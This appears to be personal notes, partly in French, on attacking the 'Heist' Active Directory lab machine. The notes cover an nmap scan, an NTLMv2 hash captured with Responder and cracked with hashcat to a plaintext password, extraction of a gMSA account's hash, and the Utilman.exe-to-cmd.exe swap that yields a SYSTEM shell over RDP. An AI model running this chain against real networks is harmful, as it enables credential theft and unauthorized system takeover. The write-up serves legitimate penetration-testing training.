
sudo nmap -p- -sV -sC 192.168.185.165 --open
[sudo] password for alice: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-06 21:10 CEST
Nmap scan report for 192.168.185.165
Host is up (0.021s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-06 19:13:08Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: 
Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: 
Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Not valid before: 2025-04-05T19:09:32
|_Not valid after:  2025-10-05T19:09:32
| rdp-ntlm-info: 
|   Target_Name: HEIST
|   NetBIOS_Domain_Name: HEIST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: heist.offsec
|   DNS_Computer_Name: DC01.heist.offsec
|   DNS_Tree_Name: heist.offsec
|   Product_Version: 10.0.17763
|_  System_Time: 2025-04-06T19:13:58+00:00
|_ssl-date: 2025-04-06T19:14:37+00:00; -3s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp  open  http          Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-title: Super Secure Web Browser
|_http-server-header: Werkzeug/2.0.1 Python/3.9.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49703/tcp open  msrpc         Microsoft Windows RPC
49758/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-06T19:14:01
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -2s, deviation: 0s, median: -2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 257.22 seconds

AD - Heist 
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On va utiliser responder ici : 

[HTTP] NTLMv2 Hash     : 
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[HTTP] NTLMv2 Hash     : 
enox::HEIST:95bd60b0586d78da:70C887E8E6A79DB91EF86BE77A15D993:0101000000000000BC7C
B0E444A7DB01DE2F2FC18F6A4F710000000002000800430034005800470001001E00570049004E00
2D005A00420058003700580045004E005A003400570030000400140043003400580047002E004C00
4F00430041004C0003003400570049004E002D005A00420058003700580045004E005A0034005700
30002E0043003400580047002E004C004F00430041004C000500140043003400580047002E004C004
F00430041004C000800300030000000000000000000000000300000C4F51C6E9DB9499D59C386C31
7DB4FE1D9EF380289201E62A8474177A8845FCE0A001000000000000000000000000000000000000
900260048005400540050002F003100390032002E003100360038002E00340035002E003100370036
000000000000000000

hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force

Enox:california 
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.\GMSAPasswordReader.exe -- AccountName 'svc_apache'

Svc_apache$ : 618DE65B979E02BA8D4118394450BA41
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The privilege escalation steps, which involved creating a new service and 
running a command to get a cmd session as NT Authority\System.

Donc en gros : 

On doit trouver Utilman.exe dans  C:\Windows\system32
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Ensuite on modifie le nom avec ren : 

ren Utilman.exe Utilman.old

Ensuite on va modifier le nom de cmd.exe en ultiman.exe : 

ren cmd.exe Utilman.exe

Ensuite sur notre kali on va se connecter en rdp avec rdesktop : 

rdesktop @IP

Et ensuite on clique sur les touches  WIN+U 
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Fin 
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